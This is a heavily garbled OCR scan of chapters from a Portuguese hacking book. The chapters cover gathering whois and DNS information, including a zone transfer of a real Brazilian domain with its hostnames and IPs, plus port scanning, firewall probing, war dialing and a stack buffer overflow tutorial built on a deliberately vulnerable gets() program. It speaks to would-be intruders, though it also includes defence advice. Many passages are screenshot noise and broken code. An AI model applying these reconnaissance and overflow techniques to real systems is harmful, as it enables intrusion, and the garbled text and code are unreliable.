-Posso tentar? Normalmente, eu uso, para letras em ingls, o nome da
msica, o nome do artista mais a palavra lyrics. Como letra em francs?
-Parole.
- Tenta a: a ira piaf parole
Ela tentou e, para sua completa estupefao, encontrou vrios sites com as
letras, inclusive alguns contendo referncias cruzadas, as vrias verses
agrupadas e aspectos histricos e sociais ligados a elas.
A Internet, no geral, e a World Wide Web em especial, so prdigas em informaes sobre sua pessoa, seja ela fsica, ou seja jurdica. Muitas delas foram
colocadas l por ningum menos que voc mesmo. Seus funcionrios, se voc
os tiver, tambm so grandes fontes de informao. Vejamos.
Observao
I Universidade
H4CK3R I
I;
C_U""",",03I24>2000
u"""'"
1127,01-
DATE,"'~'1200'
00,11',
SUBJEC7 RE m."'.'-
"""""'
RdoL. .,.
10 "'..me
, . [T..",,",
UM "'...w ]
R" H"''',<3oo"",
'"
,"'_.""",'dabi~'_'-JI<,"~"OO'ldoorn,,."w.._200101Irn.,oooo2.htm'.
--.,-~
,
--,,~"
:"~::iI~,-~*~--
- ---~.._,'-~--,-'-""",'.n,.,'"
'" le",~=",~=:I
Gaog
"-'_",-0_-_""-, ,
,,~.."
-_o -
C_""""M"'''''''''''
~.
,.
._,----
"" Em ~'h<"
,,-..---
","" ,""""',"""..
--'O~'-,_'_'_"
'~"-~~-.'_""Hm._'-
C","""do"'Cd"'M,,,,i.~'
0_"'''''''0_00''_'__'''''--'
--~-'~_W_~~-"~"--"
._-~",.",""""","."",,"~-~,..
"''''"",,''''''_'M~._''.~''''-"'
~~~cc1~::':":~~.~,,"'WM'''''''''~
2281
Ataque, defesa e contra-ataque: Observao
Universidade 3 Ano
At tu, Brutus?
Mas o perigo pode estar em casa! Voc j olhou seu site pessoal ou o de sua
empresa? Em uma garimpagem bem-feita (ajudado, pasme, pelo mecanismo de
busca que o pessoal da Web colocou para auxiliar o internauta!!!), o atacante
pode possivelmente angariar algumas dessas valiosas informaes:
~ Tecnologia: v pgina de TI do seu site. Quero ser mico de circo se o
pessoal da rea no colocou uma lista completa com as tecnologias em uso.
possvel que, at por questes contratuais, sua empresa seja obrigada a colocar
um selo Powered By no site. Mesmo no sendo, a maioria dos sites possui.
Empresas e funcionrios normalmente so orgulhosos das solues tecnolgicas
que ajudam a implementar
e ficam tentados a colocar informaes
12291
Ataque, defesa e contra-ataque:
Observao
I Universidade
H4CK3R
Bem-vindoao Regisuo.br
Reg;..rod. do";."'. p'" ".tem.'.o B,as'
~~;'~l;';;I,~I~...J~..Jc!!~l
1
v."""",."".,.,a","""
,-,.,.,,,-.
.R".........v...
""""'''I>w~'''''''"""'-"';'''';0 "~=,.-.,,.
, ro..''',,,
,,"'."" R"''''. 00- ,. ""...
-""
"~1I2OO3.
C"" ""'''''
.p,~=,."",~''',"-,""",,''.
.T,"""00R" '"
""a,","~"~~""'_d.. ",""<'<ONS.
'-" 00l12000l
C"""'."',, w""'_~"M
"""'"'N~M""".",,,."..,.~_"'R,,_.,,,
W""'"'M""""M
""""',. R.,.".""D.mi"""
R.m"".oo
""..,.
30""'_", CNP./ICP'.
Cio"""''''' ~. ,"_~"M
N_.
I "",",,,,,I
PES<IU'5AR
,,,,,,,ight","'re."
, ""' "'~" proot'dod
f~ inf~oo''"1'''''
, "".. .,.,.. j>ff~'in.M""", inf_oo.-, ~
, "''''''''''''in.._""""""""""..,,,,oo.
,,,
,,,,,,,
,,.,.,...,,,,,,,,..,,,,,
,,
~br
2003-<)4-<181<),,,,21
_n'.
(BRr
..",00)
DI""'TI.""."
"."."""", ""_",",,",,i
.n""""" ... """". wbo."'. 12AndM
.n""""" 014".{)Q1'''' P",J.-"
,.1"'_,
(D11)3217-2600
[)
""',,...,.,"""
"...i.
"""
""mi",
U\Nl3
"",,"',.
"""
_ioo,D''', 1151.""""'.""."
Noooossaaaa!!! J sabemos quais so os dois servidores de DNS que esse domnio usa. Apenas com
os dados que garimpamos na Web, j somos capazes de fazer diversas malvadezas com o domnio.
1230
Observao r
Universidade 3 Ano
DiG
9.2.1
;;
global
options:
digerati.com.br.
admin.1ocaweb.com.br.
digerati.com.br.
digerati.com.br.
digerati.com.br.
digerati.com.br.
digerati.com.br.
ftp.digerati.com.br.
smtp.digerati.com.br.
pop.digerati.com.br.
mail.digerati.com.br.
www.digerati.com.br.
wap.digerati.com.br.
sqlserver.digerati.com.br.
webmail.digerati.com.br.
smtp-gw.digerati.com.br.
digerati.com.br.
admin.1ocaweb.com.br.
@NS1.1ocaweb.com.br
digerati.com.br
AXFR
printcmd
IN
3600
NS
NS
NS
A
MX
IN
IN
IN
IN
IN
IN
IN
IN
IN
IN
600 86400
3600
8
O
O
O
O
O
IN
IN
IN
IN
IN
O
O
O
O
O
O
O
O
O
3600
8
3600
SOA
hm23.
600
86400 3600
NS1.1ocaweb.com.br.
NS2.1ocaweb.com.br.
NS3.1ocaweb.com.br.
200.246.179.102
10 smtp-gw.digerati.com.br.
A
200.246.179.102
A
200.182.98.136
A
200.182.98.136
A
200.182.98.136
A
200.246.179.102
A
200.246.179.102
A
200.246.179.82
CNAME pop.digerati.com.br.
A
200.182.98.155
SOA
hm23.
3600
;; Query
time:
881 msec
;; SERVER:
200.246.179.123#53
(NS1.1ocaweb.com.br)
;; WHEN:
Tue Apr
812:28:502003
;; XFR size:
17 records
12311
] Ataque,
defesa e contra-ataque:
Observao
I Universidade
H4CK3R I
Defesa e contra-ataque
Infelizmente, no h muito como se defender de informaes obtidas por
meio de bancos de dados whois. As informaes desse servio devem estar
disponveis universalmente, portanto no h o que fazer. Casos recentes de
defacements (como o do site da Digerati Editorial) foram possveis usando as
informaes obtidas por whois e, depois, com um pouco de engenharia social,
obtidas as senhas para alterao do DNS. um tpico caso de falha humana. O
problema no foram as informaes de whois, mas as senhas fracas e a
vulnerabilidade social.
J os zone transfers de servidores DNS podem, sim, ser evitados. Crie regras
em seu servidor para restringir zone transfers apenas entre servidores DNS do
seu domnio, bem como dos root-DNS-servers.
Como no h nada de ilegal nas atividades do black hat at aqui, pois as
informaes obtidas so todas pblicas, no h como lanar um contra-ataque.
Mesmo porque, devido ao trfego gigantesco, rastrear acessos a servidores de
whois e DNS tarefa impossvel.
Mas, SIM! possvel tomar medidas preventivas (alm de restringir o zone
transfer - isso muito importante!) para evitar que informaes desnecessrias vazem para a Internet. Entre elas:
~ Faa uma faxina em casa! Vasculhe seu site e retire tudo o que pode dar,
indevidamente, informaes confidenciais ou restritas que possibilitem um ataque.
~ Crie polticas sobre o que pode ser publicado no site e veiculado por
e-mail. Crie punies (infelizmente, necessrias) caso algum funcionrio ponha
em risco a empresa divulgando o que no deveria. E nada de colocar bandeirinhas com "Powered by Windows NT4" ou "Running Linux 2.2".
12321
Ataque, defesae contra-ataque: Observao[
Universidade 3 Ano
12331
] Ataque. defesa
e contra-ataque:
Observao
Ataque, defesa e
contra-ataque:
usca
Captulo
12
"
(Mateus,VII: 7-111
I Universidade
H4CK3R
Rede Privada
~~
192.168.3.0
192.168.4.0
200.xxx.10.20
SMTPtPOP
2361
Ataque, defesa e contra-ataque: Busca [
200.xxx.20.30
Servios Diversos
200.xxx.20.10
SQLServer
Universidade 3 Ano
aO
~o
(j)
200.xxx.20.10
1 jingle da campanha presidencial de jnio Quadros, em 1956.
12371
] Ataque, defesa
e contra-ataque:
Busca
I Universidade H4CK3R I
~"
~ iP ~"
::::;
.~
200.xxx.l0.2
Proxy+ Gateway
::::;
::::;
lI'
[] Hackerno v
Hacker v
.~.~
200.xxx.l0.20
SMTP+PDP
::::;
.~..
200.xxx.20.30
Servios Diversos
200.xxx.20.10
SQl Server
Agora, o traceroute/tracert utilizado em cada um dos IPs descritos. A sintaxe bem simples: traceroute -n IP.QUE.QUEREMOS.VERIFICAR.A
sada de um
traceroute se parece com esta:
192.168.1.162 0.524 ma 0.235 ma 0.204 ma
200.204.171.155 1.084 ma 1.040 ma 1.028 ma
200.204.174.122 11.322 ma 18.636 ma 272.474 ma
200.207.199.121 602.530 ma 513.476 ma 524.081 ma
200.205.255.219 559.810 ma 531.438 ma 610.651 ma
200.205.255.212 817.968 ma 596.748 ma 576.567 ma
200.205.254.134 527.308 ma 523.359 ma 548.114 ma
. .. (continua)
1
2
3
4
5
6
7
o parmetro -n apenas para evitar que o traceroute procure por nomes DNS
dos IPs mostrados. O hacker deve, diligentemente, anotar (ou gravar e imprimir)
todas as sadas do traceroute para todos os IPs que ele descobriu com o pingo Se
tentar seguir essa lista de trs para frente, vai perceber que muitas das mquinas
esto encadeadas. Em nosso exemplo, vemos que a sada do traceroute do host
200.xxx.1.1O nos diz que a mquina anterior a 200.xxx.1.1. Ora, isso quer
dizer que as mquinas esto ligadas! Em nosso diagrama:
~38 I
Ataque, defesa e contra-ataque:
Busca r
Universidade 3 Ano
8
Todos os IPs
200.xxx.l0.n
200.xxx.20.10
200.xxx.l0.20
SMTP+POP
200.xxx.20.30
Servios Diversos
200.xxx.20.10
SGLServer
12391
] Ataque, defesa
e contra-ataque:
Busca
I Universidade
H4CK3R I
phY,is
20~.230.721!p
201.23{,72.$
12401
Ataque, defesa e contra-ataque: Busca [
Universidade 3 Ano
Para saber as opes do Nmap, veja a pgina de manual (man nrnap) ou o
Help da verso Windows. As verses com frontends (Windows e Unix) possuem, no painel de controle, chaves para quase todos os testes e uma barra de
status na qual mostrado como ficaria a linha de comando. No vamos entrar
em detalhes de utilizao do Nmap aqui. Em vez disso, vamos falar sobre as
formas diferentes de "torcer" o handshake TCP.
O comando Nmap rodado sem argumentos faz uma conexo completa na
porta testada, o que quer dizer que todo o handshake TCP respeitado. Obviamente, esse scan extremamente ruidoso e facilmente detectvel.
Firewall
(filtro de pacotes)
18
12411
Busca
I Universidade
H40~3R
Outras portas que podem ser de interesse: 20 (resposta de FTP), 21 (requisio de FTP), 25 (resposta de SMTP), 53 UDP e 53 TCP (requisio e resposta de
DNS) e 666/667 TCP e UDP (resposta do servidor de Doom e Quake - tenha
certeza, seu administrador deixou estas abertas para jogar noite). Veja bem:
estamos falando de portas de origem. As portas de destino sero escaneadas.
Talvez um estudo da RFC1700 (www.ietf.org/rfc.hyml)
seja revelador.
Para encontrar quais portas o firewall est deixando passar alm dessas
bvias, podemos usar padres de fmgerprinting (que veremos mais frente),
combinados com as tcnicas de traceroute e ping, para descobrir como funcionam as regras dos firewalls. No h muitos softwares bons que fazem isso,
mas um digno de nota. Existe exclusivamente para Unix e se chama FirewaIk.
Disponvel em www.packetfactory.net/firewalk/.
possui uma documentao
que, se no grande, pelo menos bem completa. Com o Firewalk, fica muito
fcil determinar as portas abertas de um filtro de pacotes funcionando como
firewall e, depois, aplicar portscans direcionados s mquinas internas passando por essas portas no filtradas.
2421
Ataque. defesa e contra-ataque: Busca [
Universidade 3 Ano
Impresso
digitaL na Web
Identificar o sistema operacional que est rodando no n especificado primordial para explorar as vulnerabilidades possivelmente presentes. A tcnica
usada na determinao do SO dos hosts chama-se fmger printing (ou, coleta de
impresso digital).
possvel enviar, seqencialmente, todos os testes TCP e UDP descritos para
as portas de um n. Dependendo da maneira como responde, possvel saber
qual sistema operacional est rodando naquele host.
O Cheops e o Nmap fazem isso magistralmente. Procure a documentao de ambos para saber como us-los e como interpretar os resultados. Para saber mais sobre
como ftrnciona o finger printing, procure por finger printing os determination ou
por tep udp fingerprinting em seu mecanismo de buscas favorito.
Tem mais?
H diversas tcnicas de portscan. Relacionar todas no seria possvel em um
livro de 350 pginas como este. Mas relacionamos abaixo mais alguns tipos,
cuja descrio pode ser facilmente encontrada na Internet.
~ FTP Bounee: usa uma caracterstica antiga dos servidores FTp' que a
possibilidade de utilizar um servidor FTP como intermedirio a fim de enviar
um arquivo para uma terceira mquina. Como possvel controlar em qual
porta ser feita a conexo, pode-se, manualmente, varrer todas as portas da
terceira mquina (a vtima) at conseguir conexo. Na vtima, estar registrado
o IP do servidor FTP e no do hacker. Tambm chamado de FTP forwarding.
~ Falhas de RCP: j falamos sobre Remote Procedure Calls em Redes I.
Todos os sistemas operacionais possuem alguma implementao de servios
RPC, e praticamente todos tm alguma que responda incorretamente a uma
conexo, revelando que aceita a conexo (apesar de no necessariamente ser
vulnervel). Procure por RPC Sean e RPC Exploit.
Procurando brechas
J falamos alguma coisa sobre furos de segurana nos dois captulos sobre
vulnerabilidades. O que um scanner de vulnerabilidade faz, normalmente, testar
cada um dos servios oferecidos de acordo com padres preestabelecidos. Caso o
sistema responda tambm de acordo com padres reconhecidamente pertencentes s verses falhas, o scanner o reporta como "bugado" e, portanto, possivelmente vulnervel.Todos os fmgerprints (tanto de solicitao quanto de resposta) esto
guardados em bancos de dados cuja atualizao constante e contnua.
Havamos preparado, para esta seo, um texto muito extenso, didtico e facilmente digervel sobre diversos scanners de vulnerabilidades. Mas, olhando para
aquilo tudo, pensamos: "estamos negando ao leitor a oportunidade de aprender".
De fato, se dssemos o peixe, estaramos condenando-o a ser um script kiddie
para o resto da vida. Se o ensinssemos a pescar, ainda assim no haveria opor-
12431
] Ataque, defesa
e contra-ataque:
Busca
I Universidade
H4CK3R I
Defesa e contra-ataque
Para defender-se de hackers (ou kiddies) que varrem sua rede o tempo todo,
necessrio obedecer a algumas regras fundamentais:
~ Atualize seu sistema! Sistemas desatualizados so grandes fontes de problemas, no apenas de segurana, mas de estabilidade tambm. Seu fornecedor
de tecnologia normalmente oferece atualizaes gratuitas quando a falha
deles. No deixe passar!
~ Dispare um scan contra voc mesmo. No espere que um hacker descubra que voc usa um IIS vulnervel falha de Unicode ou um Sendmail com o
conhecido Sendmail Bug. Ou pior: que seu fl1"ewall um queijo suo. Os scanners
esto a para ajud-Io. Use-os!
~ Desligue os servios desnecessrios. Se voc montou um servidor Web, que
serve apenas para isso, por que vai querer um SMTPescutando na porta 25, um
POP na porta 110 e um X na 6OO0?Deixe rodando apenas o que efetivamente ser
usado. No s para deixar menos portas para o hacker usar, como tambm porque
voc vai se esquecer dele e no aplicar os patches de segurana pertinentes.
~ Revise seu firewalI. Se os seus scans esto passando, seu firewall precisa
de uma reviso. Considere trocar o f11trode pacotes comum por um orientado
a estados e melhore as ACLs do proxy no lado de dentro do DMZ.Alis, voc
tem um DMZ, no tem?
~ Instale sistemas de deteco de intmsos, ou IDS.Veremos sistemas IDS
nos apndices no CD-ROM. Mas importante instalar um desses para garantir
que seus logs sero preservados e qualquer invaso seja prontamente rastreada.
12441
Ataque, defesa e contra-ataque: Busca [
Universidade 3 Ano
12451
] Ataque, defesa
e contra-ataque:
Busca
Ataque, defesa e
contra-ataque:
Invaso
''Abordar navios mercantes
invadir, pilhar, tomar o que nosso!...!
Preparar a nossa invaso
1. Do
albuIn Revolues
por Ininuto.
de 198/>'
I Universidade H4CK3R I
"Por que o cachorro entrou na igreja"? Ante essa pergunta capiciosa, a maioria das pessoas, depois de "raciocinar" um pouco, disparam respostas das mais
estapafrdias e incongruentes
que o ser humano pode ser capaz de conceber.
"Poque o padre chamou". "Porque os anjos o conduziram
para a plenitude
espiritual". "Porque ouviu um chamado de Al para destruir o templo de idolatria dos infiis". "Porque quis". "Porque sim". "Porque havia quermesse e ele
sentiu cheiro de lingia". "Porque estava no colo da dona". "Ah, vai te cat,
mano"! Mas a resposta correta a mais simples e lgica de todas. O cachorro
entrou na igreja porque a porta estava aberta.
A partir deste ponto ultrapassamos
os limites. A legislao brasileira no
reconhece o acesso a sistemas que estejam abertos Internet como invaso, da
mesma forma como entrar num shopping center tambm no invaso: as
portas esto abertas para tal.
Pela lei norte-americana,
entretanto, esse tipo de invaso (de sistemas e de
shopping centers) j considerado invaso de propriedade. Se voc no bem
vindo em um sistema, pode ser processado se entrar. Se no bem vindo em um
shopping center, tambm pode! Houve pelo menos um caso, divulgado pela imprensa, de um cidado americano processado por invaso de propriedade por
estar na rea pblica de um shopping. Explico: ele estava com uma camiseta
pacifista (a frase exata era "Give peace a chance", de JoOO Lennon) e a segurana
do shopping solicitou que ele retirasse a camiseta ou deixasse o prdio. Como
recusou-se a ambas as coisas, foi preso e processado. Home of the free...
Cuidado, portanto, quando invadir sistemas geograficamente
instalados l ou
pertencentes
a empresas daquele pas. Voc ser processado pelas leis de l, e
provvel que seja extraditado. Hackerismo = Terrorismo = Priso Perptua...
J deu pra notar, n?
A invaso em etapas
Assim como dividimos nosso ataque em seis passos diferentes, o passo quatro - invaso - pode ser dividido em duas etapas.
A primeira etapa o acesso a um host da rede. Como vimos nos captulos de
redes, as redes internas das empresas normalmente
no utilizam nmeros IP
roteveis pela Internet. Portanto, temos que invadir primeiramente
um computador limtrofe que possua duas interfaces de rede e, portanto, atenda a ambas.
Normalmente
o prprio ftrewall, ou um proxy, mas possvel que falhas de
configurao ou mesmo descuido possam escancarar outros sistemas.
Para a primeira etapa, um nmero limitado de tcnicas pode se empregado. Entre
eles, a procura por modems aceitando conexes externas (war dialing) e a explorao de falhas especficas atravs de exploits. Observe que nenhum sistema em especial visado. Os crackers podem apontar suas miras tanto em servidores como em
estaes de trabalho e mesmo em componentes de rack como roteadores e afins!
12481
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
A segunda etapa mais trabalhosa que difcil. Uma vez conseguido o acesso rede
interna, passa-se invaso sistemtica dos computadores dentro da rede. Essa
etapa pressupe quebra de senhas e acesso a reas restritas mesmo para quem est
dentro. Dizemos que trabalhosa porque, uma vez dentro, cada um dos sistemas
autnomos disponveis para os usurios internos requer toda aquela metodologia
que vimos: Planejamento, Observao, Busca, Invaso, Manuteno e Evaso. E no
esquea: vrios microataques 1-2-1-3-1-4-1-5-1-6-1...Sempre corrija e ajuste seu planos! As coisas mudam, os dados mudam, o administrador muda e voc sempre tem
informaes novas. Se quer sucesso, organize-se!
E,se voc for um lammer,no tem o que fazer por aqui, j que voc no quer saber de
aprender nada.V brincar com os exploits publicados e deixe os profissionais trabalharem!
12491
IAtaque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R
ferramentas, a maioria gratuitas e muitas delas com cdigo fonte aberto e livre.
Mas, em uma excepcional colher de ch, a vai um link com algumas delas:
neworder. box. sk/box. php::)? gfx=neworder&prj
=neworder&key
=wardil&txt= Wardia1ers.
Recomendamos epecialmente, entre eles, o THC Scan (www.thc.org). a ferramenta n 1 de War Dialing hoje em dia. Foi desenvolvida para DOS, mas pode
ser usada em Unix com emuladores, como o Dosemu.
Se voc quer dar uma olhada em como as coisas comearam, procure por
Demon Dia1er e pelo ToneLoc. So ferramentas parecidas com as que os
Phreakers usavam na poca do ftlme de Broderick, incluindo o prprio mockup da cena.
Para Unix, alm do excelente THC Scan + Dosemu h alguns nativos como o
WARD, cuja descrio est no endereo www.securiteam.com/tools/
6TOOOIP5QM.html e pode ser baixado e www.Oxdeadbeef.info/code/ward.c;
ou prolas como o Jericho e o ShockDial, ambos encontrveis
em
www.securityfocus.com/tools/
category /26.
H tambm muitos war dialers comerciais, destinados a permitir que empresas
testem suas instalaes procura de modems perdidos. Uma das mais completas
o Phone Sweep (www.sandstorm.net).Alm da excelncia do software, a empresa
promete consultoria e suporte por assinatura (com pagamento mensal).
EI
1'1.11*
2001-07-2003:25
2001-07-2019:51
2001-07-20 20 52
2001-07-2021 :40
2001-07-2022:26
~1001
250
~}
~1002
1'1.11*
$
$
1iil1003
~1004
1'1.11*
$
$
_1005
~1006
1'1.11*
1'1.11*
2001-07-1822:15
NOJACSIMILEUnknown
Unknown
CARRIER
2001-07-1823:42
VOICE
Unknown
2001-07-1901:42
TIMEOUT
Unknown
2001-07-1922:08
VOICE
Unknown
1'1""
1'1.11*
1'1.11*
n
1'1
I
Invaso
Unknown
Unknown
Unknown
Unknown
Unknown
1'1.11*
2001-07-1822:13
[tI[tI-
8USY
8USY
8USY
BUSY
BUSY
Universidade 3ano
IAtaque,
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R
Um amontoado de coisas...
A palavra portuguesa pilha nos traz cabea duas imagens:
1. Uma pilha de pedras, de pratos, de moedas, de corpos no filme do Stallone...
2. Uma clula de energia eltrica usada em lanternas portteis e brinquedos.
Peguemos a primeira imagem. Uma pilha de moedas, por exemplo, daquelas
que o Tio Patinhas tem em cima de sua escrivaninha na caixa-forte. O adorvel
po-duro de Patpolis arruma diligentemente suas moedinhas, uma sobre a
outra. Com isso, quando vai guard-Ias na caixa-forte o bom varo retira cuidadosamente a primeira moeda e a pe no saco de dinheiro, depois a segunda,
depois a terceira... Observe um detalhe: a primeira moeda a ser retirada foi a
ultima a ser colocada.
No exemplo da pilha de pedras, Fred Flintstone usando seu tratorossauro
recolhe pedras retiradas da encosta e as empilha no local indicado pelo Sr.
Pedregulho Slate, seu chefe. Note que, nesse caso, as pedras que Fred pega
primeiro so as que vo ficar por baixo da pilha. Mas talvez o melhor exemplo
(e mais til) seja mesmo o da pilha de pratos. Podemos inclusive usar um exemplo de pilhas recursivas. Quando os pratos esto sujos na mesa e a loua do dia
sua (...), voc recolhe-os e os empilha nas mos ou em uma bandeja. Observe:
o ltimo prato que voc pegou fica no topo da pilha. Quando chega cozinha,
faz o caminho inverso. Como no d pra colocar a pilha toda de uma vez, voc
pega prato por prato e os empilha novamente, desta vez na pia. medida que
os vai lavando, voc os empilha pela terceira vez (agora j limpos) do outro
1252
Invaso r
Universidade 3ano
lado da cuba, e novamente o que era ltimo ficou primeiro. Para guard-Ios no
armrio... , acho que voc j entendeu.
E as pilhas de lanterna? Elas no tm muito haver com o papo agora. S por
curiosidade, o nome "pilha" dado a esse elemento gerador de energia porque as
primeiras clulas quimio-eltricas eram, er, bem, diversos discos de metais diferentes (parecidos com moedas, s vezes moedas mesmo!) alternados entre si e
mergulhados em uma soluo cida ou salgada. Pensando bem, at tem haver...
1253 I
] Ataque,
defesa e contra-ataque:
Invaso
I Universidade
2.
3.
4.
5.
6.
7.
8.
H4CK3R I
Observe que o resultado da primeira soma ficou armazenado na pilha, esperando ser chamado de volta ao fluxo normal do programa. Uma soluo como
essa envolvendo posies de memria demandaria funes para reservar memria para trs variveis, envio e recuperao triplicada de dados e possivelmente uma funo soma mais complexa.
Esse exemplo foi didtico, mas longe do ideal. Vamos ver um pequeno programa em C. Deve rodar de forma idntica em qualquer plataforma, pois no
usa bibliotecas especficas.
void funcao_idiota (void)
char xuxu[5];
gets
(xuxu);
printf(ll%s\nll, xuxu
);
main()
funcao_idiota()
return
o;
o;
12541
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
(xuxu);
printf(H%s\nH,
xuxu
);
A funo , a grosso modo, uma sub-rotina que pode ser usada vrias vezes
dentro do programa. Em nosso main( ) a usamos apenas uma vez, mas seria
possvel, se quisssemos, us-Ia em diversos locais do cdigo. O que essa idiotice faz : 1) criar uma varivel chamada xuxu com um tamanho de 5 bytes; 2)
usar a funo gets( ) da linguagem C para pegar caracteres do teclado e joglos na varivel xuxu; 3) usar a funo printf( ) para jogar o resultado na tela.
Se voc est em uma mquina Unix, pode compilar o programinha e test-lo.
Na maioria dos sitemas, use o comando:
$ cc -o idiota
idiota. c
Aparentemente, nada acontecer. Tente digitar um caractere qualquer e pressionar a tecla <Enter>. O caracter ser replicado na tela. s isso o que o
programinha faz.
Em uma mquina DOS ou Windows, o procedimento parecido. Procure por
algum compilador de linha de comando. Se no souber onde procurar, comece
com alguns destes. Experimente TODOS e escolha seu preferido!
Para DOS podemos indicar:
~ DJGPp,o GCC do DOS: www.delorie.com/djgpp:
~ O venervel Borland Turbo C 2.01 (Autorizado! No pirataria!):
community. borland.com/museum ;
~ Pacific C: www.elrincondelc.com/compila/pacific.html
;
Para Windows, existem, entre muitas, as seguintes opes:
~ iCC Win32: www.cs.virginia.edu/-lcc-win32/index.html;
~ DevCPP: www.bloodshed.net/devcpp.html
(a escolha dos autores!);
Alis, em www.bloodshed.net
existem links para compiladores
de diversas
linguagens! Confira!
1255
I
Invaso
I Universidade
H4CK3R I
(xuxu);
printf(il%s\nil, xuxu
Retoma ao
programa
principal
Desvio
do
processamento
);
return;
main( )~
{
Inicio aqui
funcao_idiota()
return
12561
Ataque, defesa e contra-ataque:
Invaso
o;
..
Fim!
TOpO da Memria
Dados anteriores da pilha
Dados de main ()
Ponteiro de Retorno
Ponteiro da Pilha
Universidade 3ano
Nooofaaaa (Com F mesmo. Lingua presa...) ! Mas no era uma pilha? Porque
est de cabea para baixo? Bem, normalmente as pilhas so armazenadas de
cima para baixo, sendo o dado mais antigo na posio mais alta de memria e
a pilha crescendo em direo posio mais baixa. Pense nela como uma pilha
de moedas feita no teto em direo ao cho. Talvez voc tenha que usar cola
para prender as moedas, mas ainda assim uma pilha.
Como dissemos, os dados de main( ) so jogados na pilha. Note que ela no
precisa estar necessariamente vazia, podendo conter, por exemplo, dados do
shell ou da janela onde o programa foi chamado. Depois do main( ), tambm
guardado no stack um ponteiro, chamado de ponteiro de endereo de retorno
ou return address pointer. ele que indica ao processamento onde encontrar a
prxima instruo depois do desvio (onde que eu estava mesmo?). Em nosso
caso especfico, o return pointer guarda o endereo de memria onde reside a
instruo return O.
Depois do ponteiro de retorno, o sistema coloca um ponteiro de pilha, que
aponta para uma tabela com dados de controle sobre a prpria pilha - que
obviamente o leitor compreende ser necessria. Por ltimo, vo os dados temporrios de nossa funo secundria, chamada por main( ). Em nosso caso, a
varivel xuxu, criada pela nossa funo funcao_idiota( ).
Quando a funo secundria termina seu processamento, os dados dela so
retirados da pilha, depois o ponteiro de controle da pilha, depois o ponteiro do
endereo de retorno. Quando o processamento retomado na posio original,
os dados de main so puxados da pilha e tudo volta a ser como era antes. Ser?
12571
]Ataque.
defesa e contra-ataque:
Invaso
I Universidade
H4CK3R I
Bem, tentamos com cinco letras "A:', a sada foi AAAAA. Com seis, AAAAAA.
Com sete, AAAAAAA. Com oito, aconteceu algo interessante:
$
./idiota
AAAAAAAA
AAAAAAAA
$
Falha de segmentao!
O programa falhou e gerou um relatrio de erros
com o contedo da memria, gravado no arquivo core. O que ser que aconteceu? Lembremos agora da pilha. O espao para nossa varivel xuxu (que podemos chamar de buffer) era de 5 bytes - ns mesmos definimos isso (char
xuxa[5]). Cada caracter ocupa 1 byte, portanto 5 caracteres enche o buffer.
Mas o sistema no possui nenhum mecanismo de checagem, ou melhor, a linguagem C no possui. Portanto, se colocarmos mais de 6 caracteres no buffer,
haver estouro. Os dados a mais sero escritos por cima de alguma outra coisa
(normalmente
algo muito importante...).
Agora, o segundo detalhe. A pilha armazena de baixo para cima. Portanto, se
voc olhar a representao
grfica que fizemos dela, vai notar que o sexto
caracter vai ser escrito sobre o Ponteiro da Pilha!
O ponteiro de pilha possui vrios bytes ( de tamanho varivel) e o de retomo,
4 bytes3 . por isso que, quando escrevemos 6 ou 7 caracteres, nada acontece estamos sobrescrevendo
o ponteiro da pilha, em alguma regio que no nos
afeta imediatamente. A partir do oitavo caractere temos um problema imediato:
estamos sobrescrevendo
alguma rea importante do ponteiro de pilha.
Se avanarmos mais um pouco, l pelo dcimo-quarto
ou dcimo-quinto
caracter certamente chegaremos ao ponteiro de retorno!!!!! Agora o primeiro
byte do endereo de retomo no ser mais o endereo original, ser o valor
hexa do caracter que digitamos! Se for A, por exemplo (ave Aleph1!) o valor
hexadecimal
ser 41h. Vamos depurar nosso programa usando o gdb, um
depurador GNU - para DOS, procure uma ferramenta adequada (como o debug)
ou use uma das mquina Linux da nossa rede de testes. Primeiro, vamos rodar
nosso programa e gerar um core dump com muitos "A"s:
$ ./idiota
a um
valor
decimal
entre
O e 4.294.967.295,
2581
Ataque,defesa e contra-ataque: Invaso[
ou
seja, 4 GB.
Universidade 3ano
printf(llNao atingiu
return
Ponteiro
de Retorno!\n\nll);
O;
Agora compile e rode o programa. Voc ver que, at 11 caracteres, a mensagem fmal mostrada antes do core dump. Com 12 caracteres ou mais, a mensagem perdida: atingimos o ponteiro de retorno! Esse valor, claro, depende do
programa, dos dados gravados no stack, do tipo de dados do nosso buffer, etc.
Ganhando acesso
por estouro de pilha
S que enfiar um bando de "A"sno buffer no muito til. E se pudssemos
executar algum cdigo de mquina (sim, tem que ser cdigo de mquina, afmal
o programa est compilado...)? Poderamos executar uma pequena rotina carregada no prprio buffer, que o nico lugar a que temos acesso. Desviar o
processamento para o buffer no requer prtica nem habilidade: j temos controle sobre o ponteiro de retomo, basta colocar nele o endereo do buffer em
vez da montoeira de "A"s.
I 259 I
I
Invaso
I Universidade
H4CK3R I
Note que este procedimento bem parecido com a injeo de SQLque vimos
no captulo Vulnerabilidades 11.Usamos um campo acessvel externamente pelo
usurio - no caso do SQL, um campo em um formulrio; aqui, uma varivel
solicitando dados - e injetamos nele os comandos pertinentes.
Falamos em cdigo de mquina, no ? Aqui temos o grande pulo-do-gato dos
exploits que se aproveitam do buffer overflow de algum programa mal escrito. Ns queremos ganhar um shell no sistema, e isso depende do sistema
operacional. O programa que oferece o shell num Solaris no o mesmo de um
MacOS que no o mesmo no Windows... Por outro lado, para chamar esse
shell temos que colocar um cdigo de mquina no buffer, o que quer dizer que
temos que fazer um exploit para cada dupla SO+Hardware existente. Um exploit
para Linux em Alpha no o mesmo que um para Linux em i386 (os PCs
comuns). o mesmo sistema operacional, mas no o mesmo processadot. Por
outro lado, um PC rodando Windows 2000 vai precisar de um exploit diferente do que um Solaris rodando no mesffissimo Pc. o mesmo processador, mas
no o mesmo SO. Mesmo considerando que estamos usando o mesmo programa bugado (por exemplo, o interpretador de PerI de cada um dos SOs) o exploit
desse programa vai ser diferente em cada combinao SO+HW
Para fms didticos, vamos nos ater ao PC e ao Linux. Vamos "desassemblar"
nosso programinha com o gdb:
$ gdb idiota
*** mensagens diversas ***
(gdb)disass main
Dump of assembler code for function main:
Ox8048464 <main>:
push
%ebp
Ox8048465 <main+l>:
mov
%esp,%ebp
Ox8048467 <main+3>:
sub
$Ox8,%esp
Ox804846a <main+6>:
cal1
Ox8048430 <funcao_idiota>
Ox804846f <main+ll>:
add
